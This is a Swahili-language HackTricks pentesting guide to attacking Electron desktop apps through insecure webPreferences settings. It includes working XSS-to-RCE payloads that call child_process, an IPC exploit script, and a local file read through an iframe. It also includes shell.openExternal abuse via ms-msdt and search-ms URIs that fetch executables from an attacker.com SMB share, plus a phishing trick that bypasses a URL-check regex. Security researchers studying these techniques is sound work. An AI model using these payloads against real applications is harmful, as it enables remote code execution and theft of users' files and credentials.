Electron Desktop Apps
Reading time: 17 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Introduction
Electron inachanganya backend wa ndani (pamoja na NodeJS) na frontend (Chromium), ingawa inakosa baadhi ya mitambo ya usalama ya vivinjari vya kisasa.
Kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya .asar
, ili kupata msimbo unahitaji kuutoa:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Katika msimbo wa chanzo wa programu ya Electron, ndani ya packet.json
, unaweza kupata faili ya main.js
ambapo mipangilio ya usalama imewekwa.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron ina aina 2 za michakato:
- Michakato Kuu (ina ufikiaji kamili wa NodeJS)
- Michakato ya Renderer (inapaswa kuwa na ufikiaji wa NodeJS uliozuiliwa kwa sababu za usalama)
mchakato wa renderer utakuwa dirisha la kivinjari linalopakia faili:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Mipangilio ya mchakato wa renderer inaweza kuwekwa katika mchakato mkuu ndani ya faili ya main.js. Baadhi ya mipangilio itakayo zuia programu ya Electron kupata RCE au udhaifu mwingine ikiwa mipangilio imewekwa vizuri.
Programu ya electron inaweza kufikia kifaa kupitia Node apis ingawa inaweza kuwekwa kuzuia hili:
nodeIntegration
- ime zimwa kwa chaguo-msingi. Ikiwa imewashwa, inaruhusu kufikia vipengele vya node kutoka kwa mchakato wa renderer.contextIsolation
- ime washwa kwa chaguo-msingi. Ikiwa imezimwa, michakato ya msingi na renderer siyo tofauti.preload
- tupu kwa chaguo-msingi.sandbox
- imezimwa kwa chaguo-msingi. Itapunguza vitendo ambavyo NodeJS inaweza kufanya.- Uunganisho wa Node katika Wafanyakazi
nodeIntegrationInSubframes
- ime zimwa kwa chaguo-msingi.- Ikiwa
nodeIntegration
ime washwa, hii itaruhusu matumizi ya Node.js APIs katika kurasa za wavuti ambazo zime pakiwa katika iframes ndani ya programu ya Electron. - Ikiwa
nodeIntegration
ime zimwa, basi preloads zitawekwa katika iframe
Mfano wa mipangilio:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Baadhi ya RCE payloads kutoka hapa:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Capture traffic
Badilisha usanidi wa start-main na ongeza matumizi ya proxy kama:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Ikiwa unaweza kutekeleza programu ya Electron kwa ndani, inawezekana kwamba unaweza kufanya itekeleze msimbo wa javascript wa kiholela. Angalia jinsi katika:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Ikiwa nodeIntegration imewekwa kuwa on, JavaScript ya ukurasa wa wavuti inaweza kutumia vipengele vya Node.js kwa urahisi kwa kuita require()
. Kwa mfano, njia ya kutekeleza programu ya calc kwenye Windows ni:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
Script iliyoonyeshwa katika mipangilio hii inachukuliwa kabla ya scripts nyingine katika renderer, hivyo ina ufikiaji usio na kikomo kwa Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Kwa hivyo, skripti inaweza kusafirisha node-features kwa kurasa:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Ikiwa
contextIsolation
iko juu, hii haitafanya kazi
RCE: XSS + contextIsolation
contextIsolation inanzisha muktadha tofauti kati ya skripti za ukurasa wa wavuti na msimbo wa ndani wa JavaScript wa Electron ili utekelezaji wa JavaScript wa kila msimbo usiathiriane. Hii ni kipengele muhimu kuondoa uwezekano wa RCE.
Ikiwa muktadha haujawekwa kando, mshambuliaji anaweza:
- Kutekeleza JavaScript isiyo na mipaka katika renderer (XSS au kuhamia kwenye tovuti za nje)
- Kufuta njia iliyojengwa ndani ambayo inatumika katika preload au msimbo wa ndani wa Electron ili kuwa na kazi yake
- Kusababisha matumizi ya kazi iliyofutwa
- RCE?
Kuna maeneo 2 ambapo njia zilizojengwa zinaweza kufutwa: Katika msimbo wa preload au katika msimbo wa ndani wa Electron:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Bypass click event
Ikiwa kuna vizuizi vilivyowekwa unapobofya kiungo, huenda ukawa na uwezo wa kuv bypass ukifanya bofya katikati badala ya bofya la kushoto la kawaida
window.addEventListener('click', (e) => {
RCE kupitia shell.openExternal
Kwa maelezo zaidi kuhusu mifano hii angalia https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 na https://benjamin-altpeter.de/shell-openexternal-dangers/
Wakati wa kutekeleza programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya nodeIntegration
na contextIsolation
ni muhimu. Imeanzishwa kwamba utendaji wa mbali wa msimbo wa mteja (RCE) unaolenga skripti za preload au msimbo wa asili wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali.
Wakati mtumiaji anapoingiliana na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendaji wa programu:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Hawa wasikilizaji wanabadilishwa na programu ya desktop ili kutekeleza mantiki ya biashara yake. Programu inakadiria ikiwa kiungo kilichotembelewa kinapaswa kufunguliwa ndani au kwenye kivinjari cha mtandao cha nje. Uamuzi huu kawaida hufanywa kupitia kazi, openInternally
. Ikiwa kazi hii inarudisha false
, inaashiria kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia kazi ya shell.openExternal
.
Hapa kuna pseudocode iliyorahisishwa:
Miongozo bora ya usalama ya Electron JS inashauri kutochukua maudhui yasiyoaminika kwa kutumia kazi ya openExternal
, kwani inaweza kusababisha RCE kupitia protokali mbalimbali. Mifumo ya uendeshaji inasaidia protokali tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi juu ya mada hii, mtu anaweza kurejelea rasilimali hii, ambayo inajumuisha mifano ya protokali za Windows zinazoweza kutumia udhaifu huu.
Katika macos, kazi ya openExternal
inaweza kutumika vibaya kutekeleza amri zisizo na mipaka kama katika shell.openExternal('file:///System/Applications/Calculator.app')
.
Mifano ya matumizi mabaya ya protokali za Windows ni pamoja na:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Hii vuln inaweza kupatikana katika this report.
webviewTag ni kipengele kilichopitwa na wakati ambacho kinaruhusu matumizi ya NodeJS katika mchakato wa renderer, ambacho kinapaswa kuzuiwa kwani kinaruhusu kupakia skripti ndani ya muktadha wa preload kama:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Hivyo, mshambuliaji anayefaulu kupakia ukurasa wowote anaweza kutumia lebo hiyo kupakia skripti ya awali isiyo na mipaka.
Skripti hii ya awali ilitumiwa vibaya kisha kuita huduma ya IPC iliyo na udhaifu (skype-new-window
) ambayo ilikuwa ikitumia shell.openExternal
kupata RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Kusoma Faili za Ndani: XSS + contextIsolation
Kuzima contextIsolation
kunaruhusu matumizi ya <webview>
tags, sawa na <iframe>
, kwa ajili ya kusoma na kutoa faili za ndani. Mfano uliotolewa unaonyesha jinsi ya kutumia udhaifu huu kusoma maudhui ya faili za ndani:
Zaidi, njia nyingine ya kusoma faili ya ndani inashirikiwa, ikionyesha udhaifu muhimu wa kusoma faili za ndani katika programu ya desktop ya Electron. Hii inahusisha kuingiza script ili kutumia programu na kutoa data:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
Ikiwa chromium inayotumiwa na programu ni ya zamani na kuna udhaifu uliojulikana juu yake, inaweza kuwa inawezekana kuikabili na kupata RCE kupitia XSS.
Unaweza kuona mfano katika writeup hii: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing kupitia Internal URL regex bypass
Kukisia umepata XSS lakini huwezi kuanzisha RCE au kuiba faili za ndani unaweza kujaribu kuitumia kuiba akidi kupitia phishing.
Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, ukikagua msimbo wa JS katika front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
Kito cha openInternally
kitaamua kama kiungo kita funguliwa katika dirisha la desktop kwani ni kiungo kinachomilikiwa na jukwaa, au kama kitafunguliwa katika browza kama rasilimali ya upande wa tatu.
Katika kesi ambapo regex inayotumika na kazi hiyo ni dhaifu kwa kupita (kwa mfano kwa kutokuepusha alama za nukta za subdomains) mshambuliaji anaweza kutumia XSS ili fungua dirisha jipya ambalo litakuwa katika miundombinu ya mshambuliaji ikiomba taarifa za kuingia kwa mtumiaji:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protocol
Kama ilivyotajwa katika the docs kurasa zinazotumia file://
zina ufikiaji wa moja kwa moja kwa kila faili kwenye mashine yako, ikimaanisha kwamba masuala ya XSS yanaweza kutumika kupakia faili zisizo za kawaida kutoka kwa mashine ya mtumiaji. Kutumia protokali maalum kunazuia matatizo kama haya kwani unaweza kuzuia protokali hiyo kuhudumia seti maalum ya faili pekee.
Remote module
Moduli ya Electron Remote inaruhusu mchakato wa renderer kufikia APIs za mchakato mkuu, ikirahisisha mawasiliano ndani ya programu ya Electron. Hata hivyo, kuwezesha moduli hii kunaingiza hatari kubwa za usalama. Inapanua uso wa shambulio la programu, na kuifanya iwe rahisi zaidi kwa udhaifu kama shambulio la cross-site scripting (XSS).
tip
Ingawa moduli ya remote inafichua baadhi ya APIs kutoka kwa mchakato mkuu hadi kwa mchakato wa renderer, si rahisi kupata RCE kwa kutumia tu vipengele. Hata hivyo, vipengele vinaweza kufichua taarifa nyeti.
warning
Programu nyingi ambazo bado zinatumia moduli ya remote zinafanya hivyo kwa njia ambayo inahitaji NodeIntegration iwe imewezeshwa katika mchakato wa renderer, ambayo ni hatari kubwa ya usalama.
Tangu Electron 14, moduli ya remote
ya Electron inaweza kuwezeshwa katika hatua kadhaa, lakini kwa sababu za usalama na utendaji, inapendekezwa kutotumia.
Ili kuweza kuifanya, inahitajika kwanza kuwezesha katika mchakato mkuu:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Kisha, mchakato wa renderer unaweza kuagiza vitu kutoka kwa moduli kama:
import { dialog, getCurrentWindow } from '@electron/remote'
The blog post inaonyesha baadhi ya functions zinazotolewa na kitu app
kutoka kwa moduli ya mbali:
app.relaunch([options])
- Inaanzisha upya programu kwa kutoka kwenye mfano wa sasa na kuanzisha mpya. Inafaida kwa sasisho za programu au mabadiliko makubwa ya hali.
app.setAppLogsPath([path])
- Inafafanua au inaunda directory ya kuhifadhi app logs. Logs zinaweza kupatikana au kubadilishwa kwa kutumia
app.getPath()
auapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Inasajili executable ya sasa kama mshughulikiaji wa kawaida kwa protocol maalum. Unaweza kutoa path ya kawaida na hoja ikiwa inahitajika.
app.setUserTasks(tasks)
- Inazidisha kazi kwenye Kikundi cha Kazi katika Jump List (kwenye Windows). Kila kazi inaweza kudhibiti jinsi programu inavyo anzishwa au ni hoja zipi zinazopelekwa.
app.importCertificate(options, callback)
- Inaleta PKCS#12 certificate kwenye store ya vyeti ya mfumo (Linux pekee). Callback inaweza kutumika kushughulikia matokeo.
app.moveToApplicationsFolder([options])
- Inahamisha programu kwenye folda ya Maombi (kwenye macOS). Inasaidia kuhakikisha ufungaji wa kawaida kwa watumiaji wa Mac.
app.setJumpList(categories)
- Inapanga au kuondoa Jump List ya kawaida kwenye Windows. Unaweza kubainisha makundi ili kuandaa jinsi kazi zinavyoonekana kwa mtumiaji.
app.setLoginItemSettings(settings)
- Inapanga ni executables zipi zinaanzishwa wakati wa kuingia pamoja na chaguzi zao (macOS na Windows pekee).
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences module
API kuu ya kufikia mapendeleo ya mfumo na kutolea matukio ya mfumo katika Electron. Mbinu kama subscribeNotification, subscribeWorkspaceNotification, getUserDefault, na setUserDefault zote ni sehemu ya moduli hii.
Mfano wa matumizi:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Inasikiliza arifa za asili za macOS kwa kutumia NSDistributedNotificationCenter.
- Kabla ya macOS Catalina, ungeweza kunusa arifa zote zilizogawanywa kwa kupitisha nil kwa CFNotificationCenterAddObserver.
- Baada ya Catalina / Big Sur, programu zilizowekwa kwenye sanduku zinaweza bado kujiunga na matukio mengi (kwa mfano, kufungwa/kufunguliwa kwa skrini, kuwekwa kwa sauti, shughuli za mtandao, nk.) kwa kujiandikisha arifa kwa jina.
getUserDefault / setUserDefault
-
Inawasiliana na NSUserDefaults, ambayo inahifadhi mapendeleo ya programu au ya ulimwengu kwenye macOS.
-
getUserDefault inaweza kurejesha taarifa nyeti, kama vile mahali pa faili za hivi karibuni au mahali pa kijiografia la mtumiaji.
-
setUserDefault inaweza kubadilisha mapendeleo haya, ambayo yanaweza kuathiri mipangilio ya programu.
-
Katika matoleo ya zamani ya Electron (kabla ya v8.3.0), tu seti ya kawaida ya NSUserDefaults ilikuwa inapatikana.
Shell.showItemInFolder
Hii ni kazi inayonyesha faili iliyotolewa katika meneja wa faili, ambayo inaweza kutekeleza faili hiyo kiotomatiki.
Kwa maelezo zaidi angalia https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Programu za Electron zinapaswa kuwa na Sera ya Usalama wa Maudhui (CSP) ili kuzuia mashambulizi ya XSS. CSP ni kiwango cha usalama ambacho husaidia kuzuia utekelezaji wa kanuni zisizoaminika kwenye kivinjari.
Kawaida imewekwa katika faili ya main.js
au katika template ya index.html
na CSP ndani ya meta tag.
Kwa maelezo zaidi angalia:
Content Security Policy (CSP) Bypass
Tools
- Electronegativity ni chombo cha kutambua makosa ya usanidi na mifano ya usalama isiyofaa katika programu za msingi za Electron.
- Electrolint ni plugin ya chanzo wazi ya VS Code kwa programu za Electron inayotumia Electronegativity.
- nodejsscan kuangalia maktaba za wahusika wa tatu zenye udhaifu
- Electro.ng: Unahitaji kuununua
Labs
Katika https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s unaweza kupata maabara ya kutumia programu za Electron zenye udhaifu.
Amri zingine zitakazokusaidia katika maabara:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Marejeo
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Utafiti zaidi na maandiko kuhusu usalama wa Electron katika https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.